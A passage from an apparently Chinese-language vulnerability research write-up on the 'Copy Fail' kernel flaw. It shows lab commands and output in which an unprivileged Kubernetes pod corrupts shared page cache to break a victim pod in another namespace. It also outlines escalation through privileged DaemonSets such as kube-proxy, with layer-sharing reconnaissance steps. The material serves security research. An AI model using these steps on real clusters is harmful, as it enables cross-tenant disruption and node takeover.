需要强调的一个前提：page cache 是内核级全局缓存，但其作用域是单机的——只有位于同一节点上的容器，才可能通过 overlayfs layer 共享指向同一组 inode，进而共享 page cache。跨节点的容器即使使用完全相同的镜像，其 page cache 也是各自独立的。这一"同节点"限制是后续所有跨容器攻击场景的根本前提。

实验验证：跨容器 page cache 共享

部署实验环境并验证 inode 共享：

# 部署两个使用相同 base image 的 Pod
kubectl create ns copyfail-lab
kubectl apply -f pod-cross-tenant.yaml    # 见 Gist
# 验证两个 Pod 共享同一 /etc/os-release inode
kubectl exec -n copyfail-lab pod-attacker -- stat -c '%i' /etc/os-release
# 208483846
kubectl exec -n copyfail-lab pod-victim-same -- stat -c '%i' /etc/os-release
# 208483846    ← 相同 inode = 共享 page cache

在攻击者 Pod 中执行 page cache 写入：

# 攻击者 Pod 中执行 PoC
kubectl exec -n copyfail-lab pod-attacker -- python3 /poc_marker.py /etc/os-release
# [*] Target: /etc/os-release
# [*] Before: 50524554
# [*] After:  deadbeef
# [+] SUCCESS: page cache corrupted! first 4 bytes = deadbeef
# 受害者 Pod (同 base image) — 立即看到被篡改的内容
kubectl exec -n copyfail-lab pod-victim-same -- \
  python3 -c "import os; print(os.pread(os.open('/etc/os-release',0),16,0).hex())"
# deadbeef54595f4e414d453d22446562
# [+] MARKER FOUND: page cache is SHARED with attacker pod!
# 对照组 (不同 base image) — 不受影响
kubectl exec -n copyfail-lab pod-victim-alpine -- head -c 16 /etc/os-release | xxd
# 00000000: 4e41 4d45 3d22 416c 7069 6e65  NAME="Alpine

宿主机直接读取 containerd snapshot 目录中的对应文件，同样看到被篡改的数据：

# 宿主机读取 snapshot 层文件
head -c 16 /var/lib/containerd/.../snapshots/<id>/fs/etc/os-release | xxd
# 00000000: dead beef 5459 5f4e 414d 453d 2244 6562  ....TY_NAME="Deb
# drop_caches 恢复
echo 3 > /proc/sys/vm/drop_caches
head -c 16 /var/lib/containerd/.../snapshots/<id>/fs/etc/os-release | xxd
# 00000000: 5052 4554 5459 5f4e 414d 453d 2244 6562  PRETTY_NAME="Deb

6.2 零特权跨租户攻击

基于上述共享机制，验证零特权跨租户攻击——攻击者和受害者在完全隔离的不同 namespace 中：

# 创建两个完全隔离的 namespace
kubectl create ns copyfail-lab      # 攻击者
kubectl create ns tenant-victim     # 受害者
# 部署 Pod (见 Gist: pod-cross-tenant.yaml)
kubectl apply -f pod-cross-tenant.yaml

前提验证 — 确认 inode 共享：

# 两个不同 namespace 的 Pod, 相同 base image → 相同 inode
kubectl exec -n copyfail-lab pod-attacker -- stat -c '%i' /bin/cat
# 1420102
kubectl exec -n tenant-victim victim-app -- stat -c '%i' /bin/cat
# 1420102    ← 相同! 即使在不同 namespace

攻击执行：

# Step 1: 确认受害者 /bin/cat 正常
kubectl exec -n tenant-victim victim-app -- \
  python3 -c "import os; print(os.pread(os.open('/bin/cat',0),16,0).hex())"
# 7f454c46020101000000000000000000  (正常 ELF header)
# Step 2: 攻击者执行 Copy Fail (无任何特权!)
kubectl exec -n copyfail-lab pod-attacker -- python3 /poc_marker.py /bin/cat
# [*] Before: 7f454c46
# [*] After:  deadbeef
# [+] SUCCESS: page cache corrupted! first 4 bytes = deadbeef
# Step 3: 受害者立即受到影响
kubectl exec -n tenant-victim victim-app -- \
  python3 -c "import os; print(os.pread(os.open('/bin/cat',0),16,0).hex())"
# deadbeef020101000000000000000000
# ↑ ELF magic 被破坏!
# Step 4: 受害者服务中断
kubectl exec -n tenant-victim victim-app -- cat /etc/hostname
# exec /usr/bin/cat: exec format error    ← 二进制无法执行
# Step 5: 恢复 (宿主机执行)
echo 3 > /proc/sys/vm/drop_caches
kubectl exec -n tenant-victim victim-app -- cat /etc/hostname
# victim-app    ← 恢复正常

关键结论：这一攻击不需要任何特殊的 capability、hostPath 挂载或安全配置放宽。唯一的前提是内核未修补且容器中可以执行 Python（或等价的 C 程序）。两个 Pod 之间无需网络连通性、不需要知道对方的 IP 或名称。

上述实验中篡改的是普通用户 Pod 中的文件，影响局限于"跨租户 DoS"。但一个自然的问题是：能否通过同样的方式实现容器逃逸——从一个零特权 Pod 获取节点级控制？

答案的关键在于攻击目标的选择。回顾 6.1 节的分析，page cache 篡改有两个前提：

① 攻击者与目标容器位于同一节点；

② 两者共享至少一个 image layer。如果目标容器以privileged: true运行，那么当被篡改的二进制在其中执行时，攻击者的 payload 就拥有了完整的节点权限。

什么样的特权容器比较容易同时满足"特权"和"同节点"两个条件？DaemonSet是一个天然的候选。DaemonSet 的定义就是在集群每个节点上各运行一个 Pod 副本——无论受陷 Pod 被调度到哪个节点，该节点上必然存在 DaemonSet 实例。而 Kubernetes 集群中恰好有不少以privileged: true运行的系统级 DaemonSet（如 kube-proxy、CNI 插件、日志收集器等），它们同时满足两项条件。

我猜测Percivalll也是基于类似的逻辑选择了 kube-proxy 作为攻击目标。kube-proxy 在主流云厂商的托管集群（Alibaba Cloud ACK、Amazon EKS、Google GKE）中均以privileged: trueDaemonSet 运行，满足上述所有条件。其 PoC 通过篡改 kube-proxy 容器中ipset二进制的 page cache，在 kube-proxy 下次调用该工具时实现节点代码执行（已在三大云平台验证）。为简化验证流程，PoC 将攻击者镜像构建为FROM registry.k8s.io/kube-proxy:v1.35.2，从而确定性地与 kube-proxy 共享包含ipset的 image layer。

寻找利用目标：节点上的层共享分析

PoC 中FROM目标镜像的做法是为了确定性地复现漏洞利用。如果要评估真实环境中的暴露面——即一个普通业务 Pod 是否天然与同节点的特权 DaemonSet 共享 image layer——可以在节点上进行如下分析：

# 1. 列出节点上所有 privileged 容器及其镜像
crictl ps -o json | jq -r '.containers[] | "\(.id) \(.image.image) \(.metadata.name)"'
# 2. 对比业务 Pod 镜像与目标 DaemonSet 镜像的 layer digest
MY_IMAGE="python:3.11-slim"
TARGET_IMAGE="registry.k8s.io/kube-proxy:v1.35.2"
crictl inspecti $MY_IMAGE | jq -r '.info.imageSpec.rootfs.diff_ids[]' > /tmp/my_layers.txt
crictl inspecti $TARGET_IMAGE | jq -r '.info.imageSpec.rootfs.diff_ids[]' > /tmp/target_layers.txt
comm -12 <(sort /tmp/my_layers.txt) <(sort /tmp/target_layers.txt)
# 有输出 → 存在共享层
# 3. 确认目标文件的 inode 是否真的被两个容器共享
# (在两个容器内分别执行)
stat -c '%d:%i' /usr/sbin/ipset    # 设备号:inode号
# 两个容器输出相同 → page cache 共享确认

如果共享的是基础库（如ld-linux-x86-64.so.2、libc.so.6），理论上攻击面更大——任何二进制执行时都会加载这些库，无需等待特定二进制被调用。但实际操作中，替换整个.so文件需要对每个 4 字节窗口逐一覆写，耗时较长；且覆写过程中如果有进程正在加载该.so，极易导致进程崩溃。

核心共享库被大量进程依赖，这一问题尤为突出——篡改libc.so.6的结果大概率是节点上的容器大面积崩溃（DoS），而非稳定获取代码执行权限。

真实攻击场景中的挑战

上述分析需要节点级权限（crictl、直接访问 containerd 存储）。而在真实攻击场景中，攻击者通过 RCE 拿到的只是一个普通 Pod 的 shell——无法直接查看同节点上还运行着哪些容器、它们使用了哪些镜像、layer digest 是否一致。这意味着攻击者无法在目标环境中直接完成上述分析，只能进行推测和盲目尝试。

但盲目在目标环境中逐个文件尝试 Copy Fail 并不明智——每次 4 字节覆写都是不可逆的（除非管理员主动 drop cache），一旦猜错目标文件或层共享关系不成立，只会在受陷容器自身留下损坏的二进制。轻则暴露攻击痕迹，重则直接导致容器崩溃、丢失已获取的立足点——本质上是一种两败俱伤的做法。

因此，预测该漏洞在容器场景中更现实的利用方式是针对特定业务环境的定向攻击：攻击者通过已入侵容器中运行的业务即可识别出该业务是什么应用（Web 框架、中间件版本、base image 类型等）。

如果该业务使用的是通用的公开镜像或常见技术栈，攻击者可以在本地复现相同的部署环境（相同镜像 + 相同 K8s 发行版），进行白盒分析——寻找特权容器、确认 layer 共享关系、定位可利用的共享文件、调试 payload——然后带着确定性的利用方案回到目标环境中一次性执行。

6.3 能否直接逃逸到宿主机？

上一节讨论的是"跨容器"提权——通过篡改特权 DaemonSet 中的二进制间接获取节点权限。但这依赖于层共享和目标容器的后续执行。一个更激进的问题是：能否跳过中间容器，直接让宿主机进程执行被篡改的 page cache 数据？

Copy Fail 能篡改任意文件的 page cache，但仅篡改数据是不够的——还需要宿主机上的进程在其自身的特权上下文中加载并执行这些被篡改的数据。单纯的read()不构成逃逸；只有当读取的数据被作为代码执行（如execve()、dlopen()、解析后跳转）时，才能转化为代码执行。

但首先需要回答一个更基本的问题：如果宿主机进程确实访问了某个文件，它加载的是磁盘上的原始内容还是 page cache 中被篡改的数据？

答案是后者。Page cache 是内核为所有文件 I/O 设置的全局透明缓存层。无论是read()还是execve()，内核加载文件内容的路径都经过 page cache（通过filemap_read/ readahead）。如果某个 inode 对应的页面已在 page cache 中，内核直接返回缓存数据，不会重新读取磁盘——这一行为与访问者处于哪个 namespace 无关。

Section 6.1 中的实验提供了直接证据。容器内通过 Copy Fail 篡改/etc/os-release的 page cache 后：

# 宿主机通过 snapshot 路径读取同一 inode — 读到篡改后的数据
head -c 16 /var/lib/containerd/.../snapshots/<id>/fs/etc/os-release | xxd
# 00000000: dead beef 5459 5f4e 414d 453d 2244 6562  ....TY_NAME="Deb
# drop_caches 强制驱逐 page cache — 内核从磁盘重新加载
echo 3 > /proc/sys/vm/drop_caches
head -c 16 /var/lib/containerd/.../snapshots/<id>/fs/etc/os-release | xxd
# 00000000: 5052 4554 5459 5f4e 414d 453d 2244 6562  PRETTY_NAME="Deb

drop_caches 前后的对比清楚地表明：宿主机读取到的是 page cache 内容而非磁盘数据。对于execve()也是同样的机制——后续 Section 6.4 中的 hostPath 实验将直接验证这一点：容器篡改/usr/bin/ls的 page cache 后，宿主机执行ls返回exit 126（exec format error），证明内核在execve()时同样从 page cache 加载了被篡改的 ELF header，而非从磁盘读取原始文件。

因此，page cache 篡改对宿主机确实是全局可见的，对read()和execve()同样生效。真正的问题在于：在标准容器运行流程中，宿主机进程是否会主动访问容器 snapshot 层中的文件 inode？可以想到两类候选场景：

• 容器运行时（containerd + runc）

  在容器创建/启动过程中是否会在宿主机上下文中execve()或dlopen()snapshot 层中的文件？

• 宿主机上的其他工具

  （如 EDR、合规扫描）是否会执行容器层中的二进制、加载其.so、或解释执行其脚本？

针对场景 1，通过bpftrace追踪容器启动时 runc 和 containerd 的行为：

# 追踪 runc init 进程读取文件时的 mount namespace
bpftrace -e '
kprobe:vfs_read /comm =="runc:[2:INIT]"/ {
$task = (struct task_struct *)curtask;
$mntns =$task->nsproxy->mnt_ns->ns.inum;
    printf("runc-init vfs_read mntns=%u file=%s\n",
$mntns, str(((struct file *)arg0)->f_path.dentry->d_name.name));
}' &
# 触发容器创建
kubectl run test-probe --image=python:3.11-slim --restart=Never-- sleep 10
# 输出:
# runc-init vfs_read mntns=4026533841 file=passwd
# runc-init vfs_read mntns=4026533841 file=group
# ↑ mntns ≠ 宿主机(4026531840), 说明已在容器 namespace 内